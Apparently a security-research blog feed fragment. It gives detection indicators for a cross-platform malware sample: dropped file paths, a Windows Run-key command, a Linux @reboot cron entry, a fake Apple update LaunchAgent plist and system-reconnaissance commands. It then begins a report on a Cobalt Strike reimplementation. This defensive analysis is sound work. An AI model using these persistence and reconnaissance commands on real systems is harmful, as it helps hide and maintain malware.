&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;Detection Content&lt;span class="hx:absolute hx:-mt-20" id="detection-content"&gt;&lt;/span&gt;
&lt;a href="#detection-content" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Windows&lt;span class="hx:absolute hx:-mt-20" id="windows-1"&gt;&lt;/span&gt;
&lt;a href="#windows-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;C:\ProgramData\RecoverySystem
C:\ProgramData\RecoverySystem\recoveryWindows.zip
C:\ProgramData\RecoverySystem\msg.exe
C:\ProgramData\SystemData\
C:\ProgramData\SystemData\igfxCUIService.exe
C:\ProgramData\SystemData\tempo1.txt
C:\ProgramData\SystemData\tempo2.txt
C:\ProgramData\SystemData\tempi1.txt
C:\ProgramData\SystemData\tempi2.txt
C:\ProgramData\SystemData\temps1.txt
C:\ProgramData\SystemData\temps2.txt
C:\ProgramData\SystemData\tempu.txt
C:\ProgramData\SystemData\microsoft_windows.dll
C:\ProgramData\xAE Operating System\ServiceHub.exe&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence"&gt;&lt;/span&gt;
&lt;a href="#persistence" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Name: igfxCUIService
Type: REG_SZ
Data: &amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Commands&lt;span class="hx:absolute hx:-mt-20" id="commands"&gt;&lt;/span&gt;
&lt;a href="#commands" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-batch" data-lang="batch"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; copy &amp;#39;C:\Users\&lt;span class="p"&gt;&amp;lt;&lt;/span&gt;USER&lt;span class="p"&gt;&amp;gt;&lt;/span&gt;\AppData\Local\Temp\1ffd6559d21470c40dcf9236.exe&amp;#39; &amp;#39;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; getmac &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\temps1.txt&amp;#39; ; wmic path win32_physicalmedia get SerialNumber &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\temps2.txt&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\Wbem\WMIC.exe&amp;#34;&lt;/span&gt; path win32_physicalmedia get SerialNumber
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\system32\getmac.exe&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe&amp;#34;&lt;/span&gt; $env:username &lt;span class="p"&gt;|&lt;/span&gt; Out-File -Encoding &amp;#39;Default&amp;#39; &amp;#39;C:\ProgramData\SystemData\tempu.txt&amp;#39;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c wmic OS get Caption, CSDVersion, OSArchitecture, Version / value &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempo2.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic OS get Caption, CSDVersion, OSArchitecture, Version / value
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c wmic nicconfig where &amp;#39;IPEnabled = True&amp;#39; get ipaddress &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;type&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi1.txt&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\tempi2.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wmic nicconfig where &amp;#39;IPEnabled = True&amp;#39; get ipaddress
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;&amp;#34;C:\Windows\System32\cmd.exe&amp;#34;&lt;/span&gt; /c REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/span&gt; /F
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /V igfxCUIService /t REG_SZ /D &lt;span class="s2"&gt;&amp;#34;C:\ProgramData\SystemData\igfxCUIService.exe&amp;#34;&lt;/span&gt; /F&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Linux&lt;span class="hx:absolute hx:-mt-20" id="linux"&gt;&lt;/span&gt;
&lt;a href="#linux" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine-1"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/.Library/
/.Library/SystemServices/updateSystem
/.Library/SystemNetwork
/.Library/log.txt&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence-1"&gt;&lt;/span&gt;
&lt;a href="#persistence-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Creates the cron job:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;@reboot (/.Library/SystemServices/updateSystem)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Commands&lt;span class="hx:absolute hx:-mt-20" id="commands-1"&gt;&lt;/span&gt;
&lt;a href="#commands-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crontab -l &lt;span class="p"&gt;|&lt;/span&gt; egrep -v &lt;span class="s2"&gt;&amp;#34;^(#|&lt;/span&gt;$&lt;span class="s2"&gt;)&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; grep -e &lt;span class="s2"&gt;&amp;#34;@reboot
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;(/.Library/SystemServices/updateSystem)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cp -rf &amp;lt;sample name&amp;gt; /.Library/SystemServices/updateSystem
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nohup &lt;span class="s1"&gt;&amp;#39;/.Library/SystemServices/updateSystem&amp;#39;&lt;/span&gt; &amp;gt;/dev/null 2&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ifconfig &lt;span class="p"&gt;|&lt;/span&gt; grep -v 127.0.0.1 &lt;span class="p"&gt;|&lt;/span&gt; grep -E &lt;span class="s2"&gt;&amp;#34;inet
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ip address &lt;span class="p"&gt;|&lt;/span&gt; awk &lt;span class="s1"&gt;&amp;#39;/ether/{print $2}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;id -u
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;uname -mrs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Mac&lt;span class="hx:absolute hx:-mt-20" id="mac-1"&gt;&lt;/span&gt;
&lt;a href="#mac-1" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;h4&gt;Files and directories created on the machine&lt;span class="hx:absolute hx:-mt-20" id="files-and-directories-created-on-the-machine-2"&gt;&lt;/span&gt;
&lt;a href="#files-and-directories-created-on-the-machine-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;/Library/MacOsServices
/Library/MacOsServices/updateMacOs
/Library/SystemNetwork
/Library/LaunchAgents/com.apple.update.plist&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h4&gt;Persistence&lt;span class="hx:absolute hx:-mt-20" id="persistence-2"&gt;&lt;/span&gt;
&lt;a href="#persistence-2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Creates persistence via LaunchAgent under the path:
&lt;code&gt;/Library/LaunchAgents/com.apple.update.plist&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Content:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-xml" data-lang="xml"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;&amp;lt;!DOCTYPE plist PUBLIC &amp;#34;-//Apple//DTD PLIST 1.0//EN&amp;#34; &amp;#34;http://www.apple.com/DTDs/PropertyList-1.0.dtd&amp;#34;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;plist&lt;/span&gt; &lt;span class="na"&gt;version=&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;1.0&amp;#34;&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;Label&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;com.apple.update&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;LimitLoadToSessionType&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;Aqua&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;ProgramArguments&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;array&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;string&amp;gt;&lt;/span&gt;/Library/MacOsServices/updateMacOs&lt;span class="nt"&gt;&amp;lt;/string&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/array&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;KeepAlive&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;SuccessfulExit&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;true/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;key&amp;gt;&lt;/span&gt;RunAtLoad&lt;span class="nt"&gt;&amp;lt;/key&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;lt;true/&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/dict&amp;gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nt"&gt;&amp;lt;/plist&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Vermilion Strike: Linux and Windows Re-implementation of Cobalt Strike</title><link>https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/</link><pubDate>Mon, 13 Sep 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/09/vermilionstrike-reimplementation-cobaltstrike/</guid><description>
&lt;h2&gt;Key Findings&lt;span class="hx:absolute hx:-mt-20" id="key-findings"&gt;&lt;/span&gt;
&lt;a href="#key-findings" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;Discovered Linux &amp;amp; Windows re-implementation of Cobalt Strike Beacon written
from scratch&lt;/li&gt;
&lt;li&gt;Linux malware is fully undetected by vendors&lt;/li&gt;
&lt;li&gt;Has IoC and technical overlaps with previously discovered Windows DLL files&lt;/li&gt;
&lt;li&gt;Highly targeted with victims including telecommunications, government and
finance&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;a href="../../../2021/08/cobalt-strike-detect-this-persistent-threat"&gt;Cobalt Strike&lt;/a&gt;
is a popular red team tool for Windows which is also heavily used by threat
actors. At the time of this writing, there is no official
&lt;a href="https://blog.cobaltstrike.com/2016/03/23/linux-left-out-in-the-cold/"target="_blank" rel="noopener"&gt;Cobalt Strike version for Linux&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In August 2021, we at Intezer discovered a
